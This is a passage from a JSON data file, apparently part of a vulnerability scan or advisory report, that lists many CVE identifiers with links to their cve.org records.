          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59888"
        },
        {
          "name": "CVE-2026-9545",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9545"
        },
        {
          "name": "CVE-2026-56866",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56866"
        },
        {
          "name": "CVE-2025-2148",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2148"
        },
        {
          "name": "CVE-2024-2236",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-2236"
        },
        {
          "name": "CVE-2023-4039",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-4039"
        },
        {
          "name": "CVE-2026-111751",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111751"
        },
        {
          "name": "CVE-2025-54410",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-54410"
        },
        {
          "name": "CVE-2026-60001",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-60001"
        },
        {
          "name": "CVE-2026-3441",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3441"
        },
        {
          "name": "CVE-2026-56857",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56857"
        },
        {
          "name": "CVE-2026-80229",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80229"
        },
        {
          "name": "CVE-2026-86415",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86415"
        },
        {
          "name": "CVE-2026-73194",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73194"
        },
        {
          "name": "CVE-2026-6653",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6653"
        },
        {
          "name": "CVE-2026-50046",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50046"
        },
        {
          "name": "CVE-2025-60753",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-60753"
        },
        {
          "name": "CVE-2026-42011",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42011"
        },
        {
          "name": "CVE-2026-63312",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63312"
        },
        {
          "name": "CVE-2026-56859",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56859"
        },
        {
          "name": "CVE-2026-14680",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14680"
        },
        {
          "name": "CVE-2026-50045",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50045"
        },
        {
          "name": "CVE-2026-77403",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77403"
        },
        {
          "name": "CVE-2026-112393",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112393"
        },
        {
          "name": "CVE-2026-59898",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59898"
        },
        {
          "name": "CVE-2023-50495",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-50495"
        },
        {
          "name": "CVE-2017-11164",
          "url": "https://www.cve.org/CVERecord?id=CVE-2017-11164"
        },
        {
          "name": "CVE-2026-14666",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14666"
        },
        {
          "name": "CVE-2026-115506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-115506"
        },
        {
          "name": "CVE-2026-63380",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63380"
        },
        {
          "name": "CVE-2025-61728",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61728"
        },
        {
          "name": "CVE-2026-112403",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112403"
        },
        {
          "name": "CVE-2026-0965",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0965"
        },
        {
          "name": "CVE-2026-112894",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112894"
        },
        {
          "name": "CVE-2026-66422",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66422"
        },
        {
          "name": "CVE-2025-1767",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1767"
        },
        {
          "name": "CVE-2026-6844",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6844"
        },
        {
          "name": "CVE-2026-112946",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112946"
        },
        {
          "name": "CVE-2026-4224",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4224"
        },
        {
          "name": "CVE-2026-111181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111181"
        },
        {
          "name": "CVE-2026-111063",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111063"
        },
        {
          "name": "CVE-2026-53489",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53489"
        },
        {
          "name": "CVE-2025-58186",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58186"
        },
        {
          "name": "CVE-2026-33997",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33997"
        },
        {
          "name": "CVE-2026-18798",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18798"
        },
        {
          "name": "CVE-2026-56853",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56853"
        },
        {
          "name": "CVE-2026-34183",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34183"
        },
        {
          "name": "CVE-2025-13034",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13034"
        },
        {
          "name": "CVE-2025-8714",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8714"
        },
        {
          "name": "CVE-2026-78437",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78437"
        },
        {
          "name": "CVE-2025-9086",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9086"
        },
        {
          "name": "CVE-2026-16730",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16730"
        },
        {
          "name": "CVE-2026-82474",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82474"
        },
        {
          "name": "CVE-2026-35193",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-35193"
        },
        {
          "name": "CVE-2024-10041",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10041"
        },
        {
          "name": "CVE-2025-8869",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8869"
        },
        {
          "name": "CVE-2026-41006",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41006"
        },
        {
          "name": "CVE-2026-53495",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53495"
        },
        {
          "name": "CVE-2026-70454",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70454"
        },
        {
          "name": "CVE-2025-58187",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58187"
        },
        {
          "name": "CVE-2026-45205",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45205"
        },
        {
          "name": "CVE-2026-19445",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19445"
        },
        {
          "name": "CVE-2026-53790",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53790"
        },
        {
          "name": "CVE-2026-48959",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48959"
        },
        {
          "name": "CVE-2022-4899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-4899"
        },
        {
          "name": "CVE-2026-77117",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77117"
        },
        {
          "name": "CVE-2026-13506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13506"
        },
        {
          "name": "CVE-2026-78367",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78367"
        },
        {
          "name": "CVE-2026-48706",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48706"
        },
        {
          "name": "CVE-2026-14673",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14673"
        },
        {
          "name": "CVE-2022-1559",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-1559"
        },
        {
          "name": "CVE-2026-42505",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42505"
        },
        {
          "name": "CVE-2026-49844",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
        },
        {
          "name": "CVE-2026-94447",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94447"
        },
        {
          "name": "CVE-2022-3219",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-3219"
        },
        {
          "name": "CVE-2025-13601",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13601"
        },
        {
          "name": "CVE-2025-12817",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12817"
        },
        {
          "name": "CVE-2025-4673",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4673"
        },
        {
          "name": "CVE-2026-67693",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67693"
        },
        {
          "name": "CVE-2026-119741",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119741"
        },
        {
          "name": "CVE-2026-100408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-100408"
        },
        {
          "name": "CVE-2018-5709",
          "url": "https://www.cve.org/CVERecord?id=CVE-2018-5709"
        },
        {
          "name": "CVE-2026-115456",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-115456"
        },
        {
          "name": "CVE-2026-102473",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102473"
        },
        {
          "name": "CVE-2026-87865",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87865"
        },
        {
          "name": "CVE-2025-5916",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5916"
        },
        {
          "name": "CVE-2026-56406",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56406"
        },
        {
          "name": "CVE-2026-54370",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54370"
        },
        {
          "name": "CVE-2025-69651",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69651"
        },
        {
          "name": "CVE-2026-29181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-29181"
        },
        {
          "name": "CVE-2026-28390",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-28390"
        },
        {
          "name": "CVE-2025-32988",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32988"
        },
        {
          "name": "CVE-2026-80206",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80206"
        },
        {
          "name": "CVE-2026-1757",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1757"
        },
        {
          "name": "CVE-2024-10963",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10963"
        },
        {
          "name": "CVE-2026-112897",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112897"
        },
        {
          "name": "CVE-2026-73229",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73229"
        },
        {
          "name": "CVE-2026-50010",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50010"
        },
        {
          "name": "CVE-2026-55379",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55379"
        },
        {
          "name": "CVE-2017-13716",
          "url": "https://www.cve.org/CVERecord?id=CVE-2017-13716"
        },
        {
          "name": "CVE-2026-39836",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39836"
        },
        {
          "name": "CVE-2026-62385",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62385"
        },
        {
          "name": "CVE-2026-39395",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39395"
        },
        {
          "name": "CVE-2026-111065",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111065"
        },
        {
          "name": "CVE-2026-78408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78408"
        },
        {
          "name": "CVE-2026-6791",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6791"
        },
        {
          "name": "CVE-2026-87862",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87862"
        },
        {
          "name": "CVE-2026-56408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56408"
        },
        {
          "name": "CVE-2025-14524",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14524"
        },
        {
          "name": "CVE-2025-27113",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-27113"
        },
        {
          "name": "CVE-2026-62388",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62388"
        },
        {
          "name": "CVE-2026-6845",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6845"
        },
        {
          "name": "CVE-2026-6477",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6477"
        },
        {
          "name": "CVE-2026-0915",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0915"
        },
        {
          "name": "CVE-2025-15281",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15281"
        },
        {
          "name": "CVE-2026-119379",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119379"
        },
        {
          "name": "CVE-2026-14663",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14663"
        },
        {
          "name": "CVE-2026-42767",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42767"
        },
        {
          "name": "CVE-2026-9828",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9828"
        },
        {
          "name": "CVE-2026-50219",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50219"
        },
        {
          "name": "CVE-2025-47913",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47913"
        },
        {
          "name": "CVE-2026-19553",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19553"
        },
        {
          "name": "CVE-2026-24747",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24747"
        },
        {
          "name": "CVE-2026-58280",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58280"
        },
        {
          "name": "CVE-2026-42502",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42502"
        },
        {
          "name": "CVE-2026-59846",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59846"
        },
        {
          "name": "CVE-2026-6238",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6238"
        },
        {
          "name": "CVE-2026-0864",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0864"
        },
        {
          "name": "CVE-2026-42955",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42955"
        },
        {
          "name": "CVE-2026-63328",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63328"
        },
        {
          "name": "CVE-2026-46582",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46582"
        },
        {
          "name": "CVE-2024-7598",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-7598"
        },
        {
          "name": "CVE-2026-85231",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85231"
        },
        {
          "name": "CVE-2026-114136",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114136"
        },
        {
          "name": "CVE-2026-63379",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63379"
        },
        {
          "name": "CVE-2026-56403",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56403"
        },
        {
          "name": "CVE-2026-81724",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81724"
        },
        {
          "name": "CVE-2026-114138",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114138"
        },
        {
          "name": "CVE-2026-59200",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59200"
        },
        {
          "name": "CVE-2026-2297",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2297"
        },
        {
          "name": "CVE-2026-17084",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-17084"
        },
        {
          "name": "CVE-2026-39882",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39882"
        },
        {
          "name": "CVE-2025-58181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58181"
        },
        {
          "name": "CVE-2025-40909",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-40909"
        },
        {
          "name": "CVE-2026-82562",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82562"
        },
        {
          "name": "CVE-2026-102554",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102554"
        },
        {
          "name": "CVE-2026-107726",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107726"
        },
        {
          "name": "CVE-2025-69720",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69720"
        },
        {
          "name": "CVE-2026-41567",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41567"
        },
        {
          "name": "CVE-2026-4873",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4873"
        },
        {
          "name": "CVE-2026-0967",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0967"
        },
        {
          "name": "CVE-2025-12060",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12060"
        },
        {
          "name": "CVE-2026-44621",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44621"
        },
        {
          "name": "CVE-2025-47914",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47914"
        },
        {
          "name": "CVE-2026-66299",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66299"
        },
        {
          "name": "CVE-2026-53793",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53793"
        },
        {
          "name": "CVE-2024-25621",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-25621"
        },
        {
          "name": "CVE-2025-9403",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9403"
        },
        {
          "name": "CVE-2026-25681",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25681"
        },
        {
          "name": "CVE-2026-86248",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86248"
        },
        {
          "name": "CVE-2026-107386",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107386"
        },
        {
          "name": "CVE-2025-69418",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69418"
        },
        {
          "name": "CVE-2025-8114",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8114"
        },
        {
          "name": "CVE-2026-112899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112899"
        },
        {
          "name": "CVE-2026-96643",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96643"
        },
        {
          "name": "CVE-2026-86469",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86469"
        },
        {
          "name": "CVE-2016-20013",
          "url": "https://www.cve.org/CVERecord?id=CVE-2016-20013"
        },
        {
          "name": "CVE-2026-11979",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11979"
        },
        {
          "name": "CVE-2025-32387",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32387"
        },
        {
          "name": "CVE-2026-71556",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71556"
        },
        {
          "name": "CVE-2026-54517",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54517"
        },
        {
          "name": "CVE-2025-66864",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66864"
        },
        {
          "name": "CVE-2025-22869",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22869"
        },
        {
          "name": "CVE-2026-93990",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93990"
        },
        {
          "name": "CVE-2026-89160",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89160"
        },
        {
          "name": "CVE-2026-62380",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62380"
        },
        {
          "name": "CVE-2026-119371",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119371"
        },
        {
          "name": "CVE-2026-43896",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-43896"
        },
        {
          "name": "CVE-2026-4437",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4437"
        },
        {
          "name": "CVE-2026-1299",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1299"
        },
        {
          "name": "CVE-2026-63385",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63385"
        },
        {
          "name": "CVE-2025-1150",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1150"
        },
        {
          "name": "CVE-2026-53803",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53803"
        },
        {
          "name": "CVE-2025-58189",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58189"
        },
        {
          "name": "CVE-2026-50248",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50248"
        },
        {
          "name": "CVE-2025-6021",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6021"
        },
        {
          "name": "CVE-2026-63387",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63387"
        },
        {
          "name": "CVE-2024-29902",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-29902"
        },
        {
          "name": "CVE-2026-0968",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0968"
        },
        {
          "name": "CVE-2024-10978",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10978"
        },
        {
          "name": "CVE-2026-78669",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78669"
        },
        {
          "name": "CVE-2020-23026",
          "url": "https://www.cve.org/CVERecord?id=CVE-2020-23026"
        },
        {
          "name": "CVE-2026-8925",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8925"
        },
        {
          "name": "CVE-2023-7008",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-7008"
        },
        {
          "name": "CVE-2026-3644",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3644"
        },
        {
          "name": "CVE-2026-89044",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89044"
        },
        {
          "name": "CVE-2026-78661",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78661"
        },
        {
          "name": "CVE-2026-70174",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70174"
        },
        {
          "name": "CVE-2026-27140",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27140"
        },
        {
          "name": "CVE-2026-93575",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93575"
        },
        {
          "name": "CVE-2026-39817",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39817"
        },
        {
          "name": "CVE-2026-56409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56409"
        },
        {
          "name": "CVE-2026-32316",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32316"
        },
        {
          "name": "CVE-2026-65905",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65905"
        },
        {
          "name": "CVE-2026-42499",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42499"
        },
        {
          "name": "CVE-2026-81869",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81869"
        },
        {
          "name": "CVE-2023-47039",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-47039"
        },
        {
          "name": "CVE-2026-76642",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76642"
        },
        {
          "name": "CVE-2022-40896",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-40896"
        },
        {
          "name": "CVE-2026-56745",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56745"
        },
        {
          "name": "CVE-2026-44604",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44604"
        },
        {
          "name": "CVE-2026-89161",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89161"
        },
        {
          "name": "CVE-2026-89158",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89158"
        },
        {
          "name": "CVE-2016-2781",
          "url": "https://www.cve.org/CVERecord?id=CVE-2016-2781"
        },
        {
          "name": "CVE-2025-8225",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8225"
        },
        {
          "name": "CVE-2026-42764",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42764"
        },
        {
          "name": "CVE-2023-29383",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-29383"
        },
        {
          "name": "CVE-2026-55955",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55955"
        },
        {
          "name": "CVE-2026-82049",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82049"
        },
        {
          "name": "CVE-2025-70559",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-70559"
        },
        {
          "name": "CVE-2026-93488",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93488"
        },
        {
          "name": "CVE-2026-86144",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86144"
        },
        {
          "name": "CVE-2026-31789",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-31789"
        },
        {
          "name": "CVE-2026-79676",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79676"
        },
        {
          "name": "CVE-2025-22870",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22870"
        },
        {
          "name": "CVE-2026-42311",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42311"
        },
        {
          "name": "CVE-2026-75803",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75803"
        },
        {
          "name": "CVE-2026-54872",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54872"
        },
        {
          "name": "CVE-2026-8643",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8643"
        },
        {
          "name": "CVE-2025-11413",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11413"
        },
        {
          "name": "CVE-2026-5773",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5773"
        },
        {
          "name": "CVE-2025-5245",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5245"
        },
        {
          "name": "CVE-2026-80231",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80231"
        },
        {
          "name": "CVE-2026-19487",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19487"
        },
        {
          "name": "CVE-2026-57585",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-57585"
        },
        {
          "name": "CVE-2025-32415",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32415"
        },
        {
          "name": "CVE-2026-8927",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8927"
        },
        {
          "name": "CVE-2026-68770",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68770"
        },
        {
          "name": "CVE-2026-48043",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48043"
        },
        {
          "name": "CVE-2026-5745",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5745"
        },
        {
          "name": "CVE-2026-41889",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41889"
        },
        {
          "name": "CVE-2024-23337",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-23337"
        },
        {
          "name": "CVE-2026-112396",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112396"
        },
        {
          "name": "CVE-2026-54411",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54411"
        },
        {
          "name": "CVE-2026-42310",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42310"
        },
        {
          "name": "CVE-2026-12072",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12072"
        },
        {
          "name": "CVE-2026-54513",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
        },
        {
          "name": "CVE-2026-27139",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27139"
        },
        {
          "name": "CVE-2026-112402",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112402"
        },
        {
          "name": "CVE-2026-42501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42501"
        },
        {
          "name": "CVE-2025-4207",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4207"
        },
        {
          "name": "CVE-2026-6276",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6276"
        },
        {
          "name": "CVE-2026-0992",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0992"
        },
        {
          "name": "CVE-2026-66393",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66393"
        },
        {
          "name": "CVE-2026-75805",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75805"
        },
        {
          "name": "CVE-2026-94266",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94266"
        },
        {
          "name": "CVE-2025-9230",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9230"
        },
        {
          "name": "CVE-2026-42250",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42250"
        },
        {
          "name": "CVE-2026-65927",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65927"
        },
        {
          "name": "CVE-2025-14009",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14009"
        },
        {
          "name": "CVE-2026-92388",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92388"
        },
        {
          "name": "CVE-2025-66564",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66564"
        },
        {
          "name": "CVE-2026-54518",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54518"
        },
        {
          "name": "CVE-2026-84837",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84837"
        },
        {
          "name": "CVE-2026-48588",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48588"
        },
        {
          "name": "CVE-2025-5244",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5244"
        },
        {
          "name": "CVE-2026-46598",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46598"
        },
        {
          "name": "CVE-2026-6464",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6464"
        },
        {
          "name": "CVE-2026-47244",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47244"
        },
        {
          "name": "CVE-2026-86412",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86412"
        },
        {
          "name": "CVE-2026-53434",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53434"
        },
        {
          "name": "CVE-2025-48924",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-48924"
        },
        {
          "name": "CVE-2026-33810",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33810"
        },
        {
